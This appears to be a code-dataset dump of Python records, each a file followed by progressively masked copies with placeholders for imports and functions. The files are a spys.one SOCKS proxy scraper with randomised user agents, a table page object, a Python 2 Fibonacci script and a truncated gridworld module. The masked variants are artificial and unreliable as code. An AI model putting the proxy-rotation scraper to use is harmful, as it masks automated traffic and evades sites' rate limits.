addrs] print(f"Got {len(self._proxies)} proxies") def random(self): assert(len(self._proxies) > 0) return random.choice(self._proxies)
[ "import re\nimport random\nimport requests\nfrom bs4 import BeautifulSoup\nimport js2py\nfrom fake_useragent import UserAgent\n\n\ndef _get_request_key(session):\n res = session.post(\"https://spys.one/en/socks-proxy-list/\")\n soup = BeautifulSoup(res.text, 'html.parser')\n return soup.find(\"input\", {\"name\": \"xx0\"}).get(\"value\")\n\n\ndef _get_proxy_list(session, xx0):\n res = session.post(\"https://spys.one/en/socks-proxy-list/\",\n data=f\"xx0={xx0}&xpp={0}&xf1={0}&xf2={0}&xf4={0}&xf5={2}\",\n headers={\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n })\n\n soup = BeautifulSoup(res.text, 'html.parser')\n js = js2py.EvalJs({\"document\": {\"write\": lambda a: a}})\n js.execute(soup.select_one(\"body > script\").string)\n\n addrs = soup.select(\"tr[onmouseover] > td:first-child\")\n ports = [js.eval(i.find(\"script\").string) for i in addrs]\n addrs = [i.get_text() for i in addrs]\n ports = [re.sub(r\"<[^<]*>\", \"\", i) for i in ports]\n\n return list(map(''.join, zip(addrs, ports)))\n\n\nclass ProxyScrapper:\n def __init__(self):\n self._proxies = []\n\n def refresh(self):\n session = requests.Session()\n session.headers[\"User-Agent\"] = UserAgent().random\n print(\"Rotating proxy list\")\n\n xx0 = _get_request_key(session)\n print(f\"Got proxy request key xx0={xx0}\")\n\n addrs = _get_proxy_list(session, xx0)\n self._proxies = [f\"socks5://{i}\" for i in addrs]\n print(f\"Got {len(self._proxies)} proxies\")\n\n def random(self):\n assert(len(self._proxies) > 0)\n return random.choice(self._proxies)\n", "import re\nimport random\nimport requests\nfrom bs4 import BeautifulSoup\nimport js2py\nfrom fake_useragent import UserAgent\n\n\ndef _get_request_key(session):\n res = session.post('https://spys.one/en/socks-proxy-list/')\n soup = BeautifulSoup(res.text, 'html.parser')\n return soup.find('input', {'name': 'xx0'}).get('value')\n\n\ndef _get_proxy_list(session, xx0):\n res = session.post('https://spys.one/en/socks-proxy-list/', data=\n f'xx0={xx0}&xpp={0}&xf1={0}&xf2={0}&xf4={0}&xf5={2}', headers={\n 'Content-Type': 'application/x-www-form-urlencoded'})\n soup = BeautifulSoup(res.text, 'html.parser')\n js = js2py.EvalJs({'document': {'write': lambda a: a}})\n js.execute(soup.select_one('body > script').string)\n addrs = soup.select('tr[onmouseover] > td:first-child')\n ports = [js.eval(i.find('script').string) for i in addrs]\n addrs = [i.get_text() for i in addrs]\n ports = [re.sub('<[^<]*>', '', i) for i in ports]\n return list(map(''.join, zip(addrs, ports)))\n\n\nclass ProxyScrapper:\n\n def __init__(self):\n self._proxies = []\n\n def refresh(self):\n session = requests.Session()\n session.headers['User-Agent'] = UserAgent().random\n print('Rotating proxy list')\n xx0 = _get_request_key(session)\n print(f'Got proxy request key xx0={xx0}')\n addrs = _get_proxy_list(session, xx0)\n self._proxies = [f'socks5://{i}' for i in addrs]\n print(f'Got {len(self._proxies)} proxies')\n\n def random(self):\n assert len(self._proxies) > 0\n return random.choice(self._proxies)\n", "<import token>\n\n\ndef _get_request_key(session):\n res = session.post('https://spys.one/en/socks-proxy-list/')\n soup = BeautifulSoup(res.text, 'html.parser')\n return soup.find('input', {'name': 'xx0'}).get('value')\n\n\ndef _get_proxy_list(session, xx0):\n res = session.post('https://spys.one/en/socks-proxy-list/', data=\n f'xx0={xx0}&xpp={0}&xf1={0}&xf2={0}&xf4={0}&xf5={2}', headers={\n 'Content-Type': 'application/x-www-form-urlencoded'})\n soup = BeautifulSoup(res.text, 'html.parser')\n js = js2py.EvalJs({'document': {'write': lambda a: a}})\n js.execute(soup.select_one('body > script').string)\n addrs = soup.select('tr[onmouseover] > td:first-child')\n ports = [js.eval(i.find('script').string) for i in addrs]\n addrs = [i.get_text() for i in addrs]\n ports = [re.sub('<[^<]*>', '', i) for i in ports]\n return list(map(''.join, zip(addrs, ports)))\n\n\nclass ProxyScrapper:\n\n def __init__(self):\n self._proxies = []\n\n def refresh(self):\n session = requests.Session()\n session.headers['User-Agent'] = UserAgent().random\n print('Rotating proxy list')\n xx0 = _get_request_key(session)\n print(f'Got proxy request key xx0={xx0}')\n addrs = _get_proxy_list(session, xx0)\n self._proxies = [f'socks5://{i}' for i in addrs]\n print(f'Got {len(self._proxies)} proxies')\n\n def random(self):\n assert len(self._proxies) > 0\n return random.choice(self._proxies)\n", "<import token>\n<function token>\n\n\ndef _get_proxy_list(session, xx0):\n res = session.post('https://spys.one/en/socks-proxy-list/', data=\n f'xx0={xx0}&xpp={0}&xf1={0}&xf2={0}&xf4={0}&xf5={2}', headers={\n 'Content-Type': 'application/x-www-form-urlencoded'})\n soup = BeautifulSoup(res.text, 'html.parser')\n js = js2py.EvalJs({'document': {'write': lambda a: a}})\n js.execute(soup.select_one('body > script').string)\n addrs = soup.select('tr[onmouseover] > td:first-child')\n ports = [js.eval(i.find('script').string) for i in addrs]\n addrs = [i.get_text() for i in addrs]\n ports = [re.sub('<[^<]*>', '', i) for i in ports]\n return list(map(''.join, zip(addrs, ports)))\n\n\nclass ProxyScrapper:\n\n def __init__(self):\n self._proxies = []\n\n def refresh(self):\n session = requests.Session()\n session.headers['User-Agent'] = UserAgent().random\n print('Rotating proxy list')\n xx0 = _get_request_key(session)\n print(f'Got proxy request key xx0={xx0}')\n addrs = _get_proxy_list(session, xx0)\n self._proxies = [f'socks5://{i}' for i in addrs]\n print(f'Got {len(self._proxies)} proxies')\n\n def random(self):\n assert len(self._proxies) > 0\n return random.choice(self._proxies)\n", "<import token>\n<function token>\n<function token>\n\n\nclass ProxyScrapper:\n\n def __init__(self):\n self._proxies = []\n\n def refresh(self):\n session = requests.Session()\n session.headers['User-Agent'] = UserAgent().random\n print('Rotating proxy list')\n xx0 = _get_request_key(session)\n print(f'Got proxy request key xx0={xx0}')\n addrs = _get_proxy_list(session, xx0)\n self._proxies = [f'socks5://{i}' for i in addrs]\n print(f'Got {len(self._proxies)} proxies')\n\n def random(self):\n assert len(self._proxies) > 0\n return random.choice(self._proxies)\n", "<import token>\n<function token>\n<function token>\n\n\nclass ProxyScrapper:\n <function token>\n\n def refresh(self):\n session = requests.Session()\n session.headers['User-Agent'] = UserAgent().random\n print('Rotating proxy list')\n xx0 = _get_request_key(session)\n print(f'Got proxy request key xx0={xx0}')\n addrs = _get_proxy_list(session, xx0)\n self._proxies = [f'socks5://{i}' for i in addrs]\n print(f'Got {len(self._proxies)} proxies')\n\n def random(self):\n assert len(self._proxies) > 0\n return random.choice(self._proxies)\n", "<import token>\n<function token>\n<function token>\n\n\nclass ProxyScrapper:\n <function token>\n <function token>\n\n def random(self):\n assert len(self._proxies) > 0\n return random.choice(self._proxies)\n", "<import token>\n<function token>\n<function token>\n\n\nclass ProxyScrapper:\n <function token>\n <function token>\n <function token>\n", "<import token>\n<function token>\n<function token>\n<class token>\n" ]
false
479
aebc8665a97ab0a71b1d8a920b5cbf2643254883
from base_page import Base_Page import locators class Product_Object: "Page Object for the table" #locators def get_all_text(self): "Get the text within the table" table_text = [] row_doms = self.get_elements(self.rows_xpath) for index,row_dom in enumerate(row_doms): row_text = [] cell_doms = self.get_elements(self.cols_relative_xpath%(index+1)) for cell_dom in cell_doms: row_text.append(self.get_dom_text(cell_dom)) table_text.append(row_text) return table_text def get_num_rows(self): "Get the total number of rows in the table" #NOTE: We do not count the header row row_doms = self.get_elements(self.rows_xpath) return len(row_doms) def get_num_cols(self): "Return the number of columns" #NOTE: We just count the columns in the header row col_doms = self.get_elements(self.cols_header) return len(col_doms) def get_column_text(self,column_name): "Get the text within a column" pass def get_column_names(self): "Return a list with the column names" column_names = [] col_doms = self.get_elements(self.cols_header) for col_dom in col_doms: column_names.append(self.get_dom_text(col_dom)) return column_names def check_cell_text_present(self,text,column_name='all'): "Check if the text you want is present in a cell" result_flag = False if column_name == 'all': table_text = self.get_all_text() else: table_text = [self.get_column_text(column_name)] for row in table_text: for col in row: if col == text: result_flag = True break if result_flag is True: break return result_flag def check_name_present(self,name): "Check if the supplied name is present anywhere in the table" return self.check_cell_text_present(name,column_name='name') def print_table_text(self): "Print out the table text neatly" column_names = self.get_column_names() table_text = self.get_all_text() self.write('||'.join(column_names)) for row in table_text: self.write('|'.join(row))
[ "from base_page import Base_Page\nimport locators\n\n\nclass Product_Object:\n \"Page Object for the table\"\n \n #locators\n\n def get_all_text(self):\n \"Get the text within the table\"\n table_text = []\n row_doms = self.get_elements(self.rows_xpath)\n for index,row_dom in enumerate(row_doms):\n row_text = []\n cell_doms = self.get_elements(self.cols_relative_xpath%(index+1))\n for cell_dom in cell_doms:\n row_text.append(self.get_dom_text(cell_dom))\n table_text.append(row_text)\n\n return table_text\n\n \n def get_num_rows(self):\n \"Get the total number of rows in the table\"\n #NOTE: We do not count the header row\n row_doms = self.get_elements(self.rows_xpath)\n\n return len(row_doms)\n\n\n def get_num_cols(self):\n \"Return the number of columns\"\n #NOTE: We just count the columns in the header row\n col_doms = self.get_elements(self.cols_header)\n\n return len(col_doms)\n\n\n def get_column_text(self,column_name):\n \"Get the text within a column\"\n pass\n\n def get_column_names(self):\n \"Return a list with the column names\"\n column_names = []\n col_doms = self.get_elements(self.cols_header)\n for col_dom in col_doms:\n column_names.append(self.get_dom_text(col_dom))\n\n return column_names\n\n\n def check_cell_text_present(self,text,column_name='all'):\n \"Check if the text you want is present in a cell\"\n result_flag = False\n if column_name == 'all':\n table_text = self.get_all_text()\n else:\n table_text = [self.get_column_text(column_name)]\n for row in table_text:\n for col in row:\n if col == text:\n result_flag = True\n break\n if result_flag is True:\n break\n\n return result_flag\n\n \n def check_name_present(self,name):\n \"Check if the supplied name is present anywhere in the table\"\n return self.check_cell_text_present(name,column_name='name')\n\n\n def print_table_text(self):\n \"Print out the table text neatly\"\n column_names = self.get_column_names()\n table_text = self.get_all_text()\n\n self.write('||'.join(column_names))\n for row in table_text:\n self.write('|'.join(row))\n", "from base_page import Base_Page\nimport locators\n\n\nclass Product_Object:\n \"\"\"Page Object for the table\"\"\"\n\n def get_all_text(self):\n \"\"\"Get the text within the table\"\"\"\n table_text = []\n row_doms = self.get_elements(self.rows_xpath)\n for index, row_dom in enumerate(row_doms):\n row_text = []\n cell_doms = self.get_elements(self.cols_relative_xpath % (index +\n 1))\n for cell_dom in cell_doms:\n row_text.append(self.get_dom_text(cell_dom))\n table_text.append(row_text)\n return table_text\n\n def get_num_rows(self):\n \"\"\"Get the total number of rows in the table\"\"\"\n row_doms = self.get_elements(self.rows_xpath)\n return len(row_doms)\n\n def get_num_cols(self):\n \"\"\"Return the number of columns\"\"\"\n col_doms = self.get_elements(self.cols_header)\n return len(col_doms)\n\n def get_column_text(self, column_name):\n \"\"\"Get the text within a column\"\"\"\n pass\n\n def get_column_names(self):\n \"\"\"Return a list with the column names\"\"\"\n column_names = []\n col_doms = self.get_elements(self.cols_header)\n for col_dom in col_doms:\n column_names.append(self.get_dom_text(col_dom))\n return column_names\n\n def check_cell_text_present(self, text, column_name='all'):\n \"\"\"Check if the text you want is present in a cell\"\"\"\n result_flag = False\n if column_name == 'all':\n table_text = self.get_all_text()\n else:\n table_text = [self.get_column_text(column_name)]\n for row in table_text:\n for col in row:\n if col == text:\n result_flag = True\n break\n if result_flag is True:\n break\n return result_flag\n\n def check_name_present(self, name):\n \"\"\"Check if the supplied name is present anywhere in the table\"\"\"\n return self.check_cell_text_present(name, column_name='name')\n\n def print_table_text(self):\n \"\"\"Print out the table text neatly\"\"\"\n column_names = self.get_column_names()\n table_text = self.get_all_text()\n self.write('||'.join(column_names))\n for row in table_text:\n self.write('|'.join(row))\n", "<import token>\n\n\nclass Product_Object:\n \"\"\"Page Object for the table\"\"\"\n\n def get_all_text(self):\n \"\"\"Get the text within the table\"\"\"\n table_text = []\n row_doms = self.get_elements(self.rows_xpath)\n for index, row_dom in enumerate(row_doms):\n row_text = []\n cell_doms = self.get_elements(self.cols_relative_xpath % (index +\n 1))\n for cell_dom in cell_doms:\n row_text.append(self.get_dom_text(cell_dom))\n table_text.append(row_text)\n return table_text\n\n def get_num_rows(self):\n \"\"\"Get the total number of rows in the table\"\"\"\n row_doms = self.get_elements(self.rows_xpath)\n return len(row_doms)\n\n def get_num_cols(self):\n \"\"\"Return the number of columns\"\"\"\n col_doms = self.get_elements(self.cols_header)\n return len(col_doms)\n\n def get_column_text(self, column_name):\n \"\"\"Get the text within a column\"\"\"\n pass\n\n def get_column_names(self):\n \"\"\"Return a list with the column names\"\"\"\n column_names = []\n col_doms = self.get_elements(self.cols_header)\n for col_dom in col_doms:\n column_names.append(self.get_dom_text(col_dom))\n return column_names\n\n def check_cell_text_present(self, text, column_name='all'):\n \"\"\"Check if the text you want is present in a cell\"\"\"\n result_flag = False\n if column_name == 'all':\n table_text = self.get_all_text()\n else:\n table_text = [self.get_column_text(column_name)]\n for row in table_text:\n for col in row:\n if col == text:\n result_flag = True\n break\n if result_flag is True:\n break\n return result_flag\n\n def check_name_present(self, name):\n \"\"\"Check if the supplied name is present anywhere in the table\"\"\"\n return self.check_cell_text_present(name, column_name='name')\n\n def print_table_text(self):\n \"\"\"Print out the table text neatly\"\"\"\n column_names = self.get_column_names()\n table_text = self.get_all_text()\n self.write('||'.join(column_names))\n for row in table_text:\n self.write('|'.join(row))\n", "<import token>\n\n\nclass Product_Object:\n <docstring token>\n\n def get_all_text(self):\n \"\"\"Get the text within the table\"\"\"\n table_text = []\n row_doms = self.get_elements(self.rows_xpath)\n for index, row_dom in enumerate(row_doms):\n row_text = []\n cell_doms = self.get_elements(self.cols_relative_xpath % (index +\n 1))\n for cell_dom in cell_doms:\n row_text.append(self.get_dom_text(cell_dom))\n table_text.append(row_text)\n return table_text\n\n def get_num_rows(self):\n \"\"\"Get the total number of rows in the table\"\"\"\n row_doms = self.get_elements(self.rows_xpath)\n return len(row_doms)\n\n def get_num_cols(self):\n \"\"\"Return the number of columns\"\"\"\n col_doms = self.get_elements(self.cols_header)\n return len(col_doms)\n\n def get_column_text(self, column_name):\n \"\"\"Get the text within a column\"\"\"\n pass\n\n def get_column_names(self):\n \"\"\"Return a list with the column names\"\"\"\n column_names = []\n col_doms = self.get_elements(self.cols_header)\n for col_dom in col_doms:\n column_names.append(self.get_dom_text(col_dom))\n return column_names\n\n def check_cell_text_present(self, text, column_name='all'):\n \"\"\"Check if the text you want is present in a cell\"\"\"\n result_flag = False\n if column_name == 'all':\n table_text = self.get_all_text()\n else:\n table_text = [self.get_column_text(column_name)]\n for row in table_text:\n for col in row:\n if col == text:\n result_flag = True\n break\n if result_flag is True:\n break\n return result_flag\n\n def check_name_present(self, name):\n \"\"\"Check if the supplied name is present anywhere in the table\"\"\"\n return self.check_cell_text_present(name, column_name='name')\n\n def print_table_text(self):\n \"\"\"Print out the table text neatly\"\"\"\n column_names = self.get_column_names()\n table_text = self.get_all_text()\n self.write('||'.join(column_names))\n for row in table_text:\n self.write('|'.join(row))\n", "<import token>\n\n\nclass Product_Object:\n <docstring token>\n\n def get_all_text(self):\n \"\"\"Get the text within the table\"\"\"\n table_text = []\n row_doms = self.get_elements(self.rows_xpath)\n for index, row_dom in enumerate(row_doms):\n row_text = []\n cell_doms = self.get_elements(self.cols_relative_xpath % (index +\n 1))\n for cell_dom in cell_doms:\n row_text.append(self.get_dom_text(cell_dom))\n table_text.append(row_text)\n return table_text\n\n def get_num_rows(self):\n \"\"\"Get the total number of rows in the table\"\"\"\n row_doms = self.get_elements(self.rows_xpath)\n return len(row_doms)\n\n def get_num_cols(self):\n \"\"\"Return the number of columns\"\"\"\n col_doms = self.get_elements(self.cols_header)\n return len(col_doms)\n <function token>\n\n def get_column_names(self):\n \"\"\"Return a list with the column names\"\"\"\n column_names = []\n col_doms = self.get_elements(self.cols_header)\n for col_dom in col_doms:\n column_names.append(self.get_dom_text(col_dom))\n return column_names\n\n def check_cell_text_present(self, text, column_name='all'):\n \"\"\"Check if the text you want is present in a cell\"\"\"\n result_flag = False\n if column_name == 'all':\n table_text = self.get_all_text()\n else:\n table_text = [self.get_column_text(column_name)]\n for row in table_text:\n for col in row:\n if col == text:\n result_flag = True\n break\n if result_flag is True:\n break\n return result_flag\n\n def check_name_present(self, name):\n \"\"\"Check if the supplied name is present anywhere in the table\"\"\"\n return self.check_cell_text_present(name, column_name='name')\n\n def print_table_text(self):\n \"\"\"Print out the table text neatly\"\"\"\n column_names = self.get_column_names()\n table_text = self.get_all_text()\n self.write('||'.join(column_names))\n for row in table_text:\n self.write('|'.join(row))\n", "<import token>\n\n\nclass Product_Object:\n <docstring token>\n\n def get_all_text(self):\n \"\"\"Get the text within the table\"\"\"\n table_text = []\n row_doms = self.get_elements(self.rows_xpath)\n for index, row_dom in enumerate(row_doms):\n row_text = []\n cell_doms = self.get_elements(self.cols_relative_xpath % (index +\n 1))\n for cell_dom in cell_doms:\n row_text.append(self.get_dom_text(cell_dom))\n table_text.append(row_text)\n return table_text\n\n def get_num_rows(self):\n \"\"\"Get the total number of rows in the table\"\"\"\n row_doms = self.get_elements(self.rows_xpath)\n return len(row_doms)\n\n def get_num_cols(self):\n \"\"\"Return the number of columns\"\"\"\n col_doms = self.get_elements(self.cols_header)\n return len(col_doms)\n <function token>\n\n def get_column_names(self):\n \"\"\"Return a list with the column names\"\"\"\n column_names = []\n col_doms = self.get_elements(self.cols_header)\n for col_dom in col_doms:\n column_names.append(self.get_dom_text(col_dom))\n return column_names\n <function token>\n\n def check_name_present(self, name):\n \"\"\"Check if the supplied name is present anywhere in the table\"\"\"\n return self.check_cell_text_present(name, column_name='name')\n\n def print_table_text(self):\n \"\"\"Print out the table text neatly\"\"\"\n column_names = self.get_column_names()\n table_text = self.get_all_text()\n self.write('||'.join(column_names))\n for row in table_text:\n self.write('|'.join(row))\n", "<import token>\n\n\nclass Product_Object:\n <docstring token>\n\n def get_all_text(self):\n \"\"\"Get the text within the table\"\"\"\n table_text = []\n row_doms = self.get_elements(self.rows_xpath)\n for index, row_dom in enumerate(row_doms):\n row_text = []\n cell_doms = self.get_elements(self.cols_relative_xpath % (index +\n 1))\n for cell_dom in cell_doms:\n row_text.append(self.get_dom_text(cell_dom))\n table_text.append(row_text)\n return table_text\n\n def get_num_rows(self):\n \"\"\"Get the total number of rows in the table\"\"\"\n row_doms = self.get_elements(self.rows_xpath)\n return len(row_doms)\n\n def get_num_cols(self):\n \"\"\"Return the number of columns\"\"\"\n col_doms = self.get_elements(self.cols_header)\n return len(col_doms)\n <function token>\n\n def get_column_names(self):\n \"\"\"Return a list with the column names\"\"\"\n column_names = []\n col_doms = self.get_elements(self.cols_header)\n for col_dom in col_doms:\n column_names.append(self.get_dom_text(col_dom))\n return column_names\n <function token>\n\n def check_name_present(self, name):\n \"\"\"Check if the supplied name is present anywhere in the table\"\"\"\n return self.check_cell_text_present(name, column_name='name')\n <function token>\n", "<import token>\n\n\nclass Product_Object:\n <docstring token>\n\n def get_all_text(self):\n \"\"\"Get the text within the table\"\"\"\n table_text = []\n row_doms = self.get_elements(self.rows_xpath)\n for index, row_dom in enumerate(row_doms):\n row_text = []\n cell_doms = self.get_elements(self.cols_relative_xpath % (index +\n 1))\n for cell_dom in cell_doms:\n row_text.append(self.get_dom_text(cell_dom))\n table_text.append(row_text)\n return table_text\n\n def get_num_rows(self):\n \"\"\"Get the total number of rows in the table\"\"\"\n row_doms = self.get_elements(self.rows_xpath)\n return len(row_doms)\n\n def get_num_cols(self):\n \"\"\"Return the number of columns\"\"\"\n col_doms = self.get_elements(self.cols_header)\n return len(col_doms)\n <function token>\n <function token>\n <function token>\n\n def check_name_present(self, name):\n \"\"\"Check if the supplied name is present anywhere in the table\"\"\"\n return self.check_cell_text_present(name, column_name='name')\n <function token>\n", "<import token>\n\n\nclass Product_Object:\n <docstring token>\n\n def get_all_text(self):\n \"\"\"Get the text within the table\"\"\"\n table_text = []\n row_doms = self.get_elements(self.rows_xpath)\n for index, row_dom in enumerate(row_doms):\n row_text = []\n cell_doms = self.get_elements(self.cols_relative_xpath % (index +\n 1))\n for cell_dom in cell_doms:\n row_text.append(self.get_dom_text(cell_dom))\n table_text.append(row_text)\n return table_text\n <function token>\n\n def get_num_cols(self):\n \"\"\"Return the number of columns\"\"\"\n col_doms = self.get_elements(self.cols_header)\n return len(col_doms)\n <function token>\n <function token>\n <function token>\n\n def check_name_present(self, name):\n \"\"\"Check if the supplied name is present anywhere in the table\"\"\"\n return self.check_cell_text_present(name, column_name='name')\n <function token>\n", "<import token>\n\n\nclass Product_Object:\n <docstring token>\n\n def get_all_text(self):\n \"\"\"Get the text within the table\"\"\"\n table_text = []\n row_doms = self.get_elements(self.rows_xpath)\n for index, row_dom in enumerate(row_doms):\n row_text = []\n cell_doms = self.get_elements(self.cols_relative_xpath % (index +\n 1))\n for cell_dom in cell_doms:\n row_text.append(self.get_dom_text(cell_dom))\n table_text.append(row_text)\n return table_text\n <function token>\n\n def get_num_cols(self):\n \"\"\"Return the number of columns\"\"\"\n col_doms = self.get_elements(self.cols_header)\n return len(col_doms)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n\n\nclass Product_Object:\n <docstring token>\n\n def get_all_text(self):\n \"\"\"Get the text within the table\"\"\"\n table_text = []\n row_doms = self.get_elements(self.rows_xpath)\n for index, row_dom in enumerate(row_doms):\n row_text = []\n cell_doms = self.get_elements(self.cols_relative_xpath % (index +\n 1))\n for cell_dom in cell_doms:\n row_text.append(self.get_dom_text(cell_dom))\n table_text.append(row_text)\n return table_text\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n\n\nclass Product_Object:\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]
false
480
24290f3a6cf9a0a272186a505d31c62a6f278c86
#! /usr/bin/env python #printing the sum of the even Fibonacci numbers n= int(raw_input("enter your number")) sumeven=0 # Defining the Fibonacci function def fib(n): a,b = 0,1 #first numbers of the sequence while 1: yield a a,b = b,a+b #generator for the next number in the sequence a = fib(n) for i in range(n): b= a.next() #get the next number in the sequence if b<=4000000: #check if value returned exceeds 4 million if b % 2 == 0: sumeven +=b #calculate the sum of even numbers print "%d,%d"%(b,sumeven)
[ "#! /usr/bin/env python\n#printing the sum of the even Fibonacci numbers\n\nn= int(raw_input(\"enter your number\"))\nsumeven=0\n# Defining the Fibonacci function\ndef fib(n): \n\ta,b = 0,1 #first numbers of the sequence \n\twhile 1:\n\t\tyield a\n\t\ta,b = b,a+b #generator for the next number in the sequence\na = fib(n)\n\nfor i in range(n):\n\tb= a.next() #get the next number in the sequence\n\tif b<=4000000: #check if value returned exceeds 4 million\n\t\tif b % 2 == 0:\n\t\t\tsumeven +=b #calculate the sum of even numbers\n\t\tprint \"%d,%d\"%(b,sumeven)\n" ]
true
481
1fbd4e45b061b4d6cefb46e3bc612533ec94250b
__author__ = 'sudab' """ Generate a grid world """ import os, sys, getopt, pdb, string import random import numpy as np import pygame from skimage import io import cv2 import pygame.locals as pgl class Gridworld(): # a gridworld with uneven terrain def __init__(self, filename=None, initial=0, nrows=8, ncols=8, nagents=1, targets=[], obstacles=[], moveobstacles = [], regions=dict()): # walls are the obstacles. The edges of the gridworld will be included into the walls. # region is a string and can be one of: ['pavement','gravel', 'grass', 'sand'] if filename != None: data = io.imread(filename) data = cv2.resize(data, dsize=(16, 16), interpolation=cv2.INTER_AREA) regionkeys = {'pavement', 'gravel', 'grass', 'sand', 'deterministic'} (nrows,ncols) = data.shape data = data.flatten() obstacles = list(np.where(data==0)[0]) regions = dict.fromkeys(regionkeys, {-1}) regions['deterministic'] = range(nrows * ncols) self.current = initial self.nrows = nrows self.ncols = ncols self.obstacles = obstacles self.regions = regions self.nagents = nagents self.nstates = nrows * ncols self.nactions = 5 self.obstacles = obstacles self.actlist = ['R','N', 'S', 'W', 'E'] self.targets = targets self.left_edge = [] self.right_edge = [] self.top_edge = [] self.bottom_edge = [] self.regions = regions self.moveobstacles = moveobstacles self.states = range(nrows*ncols) self.colorstates = set() for x in range(self.nstates): # note that edges are not disjoint, so we cannot use elif if x % self.ncols == 0: self.left_edge.append(x) if 0 <= x < self.ncols: self.top_edge.append(x) if x % self.ncols == self.ncols - 1: self.right_edge.append(x) if (self.nrows - 1) * self.ncols <= x <= self.nstates: self.bottom_edge.append(x) self.edges = self.left_edge + self.top_edge + self.right_edge + self.bottom_edge self.walls = self.edges + obstacles self.prob = {a: np.zeros((self.nstates, self.nstates)) for a in self.actlist} self.probOfSuccess = dict([]) self.getProbRegions() for s in self.states: for a in self.actlist: self.getProbs(s, a) def coords(self, s): return (s / self.ncols, s % self.ncols) # the coordinate for state s. def isAllowed(self, (row,col)): if col not in range(self.ncols) or row not in range(self.nrows): return False return True def isAllowedState(self,(row,col),returnState): if self.isAllowed((row,col)): return self.rcoords((row,col)) return returnState def getProbRegions(self): probOfSuccess = dict([]) for ground in self.regions.keys(): for direction in ['N', 'S', 'E', 'W']: if ground == 'pavement': mass = random.choice(range(90, 95)) massleft = 100 - mass oneleft = random.choice(range(1, massleft)) twoleft = massleft - oneleft if ground == 'gravel': mass = random.choice(range(80, 85)) massleft = 100 - mass oneleft = random.choice(range(1, massleft)) twoleft = massleft - oneleft if ground == 'grass': mass = random.choice(range(85, 90)) massleft = 100 - mass oneleft = random.choice(range(1, massleft)) twoleft = massleft - oneleft if ground == 'sand': mass = random.choice(range(65, 70)) massleft = 100 - mass oneleft = random.choice(range(1, massleft)) twoleft = massleft - oneleft if ground == 'deterministic': mass = 100 oneleft = 0 twoleft = 0 probOfSuccess[(ground, direction)] = [float(mass) / 100, float(oneleft) / 100, float(twoleft) / 100] self.probOfSuccess = probOfSuccess return def rcoords(self, coords): s = coords[0] * self.ncols + coords[1] return s def getProbs(self, state, action): successors = [] if state in self.obstacles: successors = [(state, 1)] for (next_state, p) in successors: self.prob[action][state, next_state] = p return row,col = self.coords(state) northState = self.isAllowedState((row-1,col),state) northwestState = self.isAllowedState((row-1,col-1),state) northeastState = self.isAllowedState((row-1,col+1),state) southState = self.isAllowedState((row+1,col),state) southeastState = self.isAllowedState((row+1,col+1),state) southwestState = self.isAllowedState((row+1,col-1),state) westState = self.isAllowedState((row,col-1),state) eastState = self.isAllowedState((row,col+1),state) reg = self.getStateRegion(state) if action == 'N': [p0, p1, p2] = self.probOfSuccess[(reg, 'N')] successors.append((northState, p0)) successors.append((northwestState, p1)) successors.append((northeastState, p2)) if action == 'S': [p0, p1, p2] = self.probOfSuccess[(reg, 'S')] successors.append((southState, p0)) successors.append((southwestState, p1)) successors.append((southeastState, p2)) if action == 'W': [p0, p1, p2] = self.probOfSuccess[(reg, 'W')] successors.append((westState, p0)) successors.append((southwestState, p1)) successors.append((northwestState, p2)) if action == 'E': [p0, p1, p2] = self.probOfSuccess[(reg, 'W')] successors.append((eastState, p0)) successors.append((southeastState, p1)) successors.append((northeastState, p2)) if action == 'R': successors.append((state,1)) for (next_state, p) in successors: self.prob[action][state, next_state] += p def getStateRegion(self, state): if state in self.regions['pavement']: return 'pavement' if state in self.regions['grass']: return 'grass' if state in self.regions['gravel']: return 'gravel' if state in self.regions['sand']: return 'sand' if state in self.regions['deterministic']: return 'deterministic' ## Everything from here onwards is for creating the image def render(self, size=10): self.height = self.nrows * size + self.nrows + 1 self.width = self.ncols * size + self.ncols + 1 self.size = size # # initialize pygame ( SDL extensions ) pygame.init() pygame.display.set_mode((self.width, self.height)) pygame.display.set_caption('Gridworld') self.screen = pygame.display.get_surface() self.surface = pygame.Surface(self.screen.get_size()) self.bg = pygame.Surface(self.screen.get_size()) self.bg_rendered = False # optimize background render self.background() self.screen.blit(self.surface, (0, 0)) pygame.display.flip() self.build_templates() self.updategui = True # switch to stop updating gui if you want to collect a trace quickly self.state2circle(self.current) def getkeyinput(self): events = pygame.event.get() for event in events: if event.type == pygame.KEYDOWN: if event.key == pygame.K_LEFT: return 'W' elif event.key == pygame.K_RIGHT: return 'E' if event.key == pygame.K_UP: return 'N' elif event.key == pygame.K_DOWN: return 'S' elif event.key == pygame.K_SPACE: return 'Space' def build_templates(self): # Note: template already in "graphics" coordinates template = np.array([(-1, 0), (0, 0), (1, 0), (0, 1), (1, 0), (0, -1)]) template = self.size / 3 * template # scale template v = 1.0 / np.sqrt(2) rot90 = np.array([(0, 1), (-1, 0)]) rot45 = np.array([(v, -v), (v, v)]) # neg # # align the template with the first action. t0 = np.dot(template, rot90) t0 = np.dot(t0, rot90) t0 = np.dot(t0, rot90) t1 = np.dot(t0, rot45) t2 = np.dot(t1, rot45) t3 = np.dot(t2, rot45) t4 = np.dot(t3, rot45) t5 = np.dot(t4, rot45) t6 = np.dot(t5, rot45) t7 = np.dot(t6, rot45) self.t = [t0, t1, t2, t3, t4, t5, t6, t7] def indx2coord(self, s, center=False): # the +1 indexing business is to ensure that the grid cells # have borders of width 1px i, j = self.coords(s) if center: return i * (self.size + 1) + 1 + self.size / 2, \ j * (self.size + 1) + 1 + self.size / 2 else: return i * (self.size + 1) + 1, j * (self.size + 1) + 1 def accessible_blocks(self, s): """ For a give state s, generate the list of walls around it. """ W = [] if s in self.walls: return W if s - self.ncols < 0 or s - self.ncols in self.walls: pass else: W.append(s - self.ncols) if s - 1 < 0 or s - 1 in self.walls: pass else: W.append(s - 1) if s + 1 in self.walls: pass else: W.append(s + 1) if s + self.ncols in self.walls: pass else: W.append(s + self.ncols) return W def coord2indx(self, (x, y)): return self.rcoords((x / (self.size + 1), y / (self.size + 1))) def draw_state_labels(self): font = pygame.font.SysFont("FreeSans", 10) for s in range(self.nstates): x, y = self.indx2coord(s, False) txt = font.render("%d" % s, True, (0, 0, 0)) 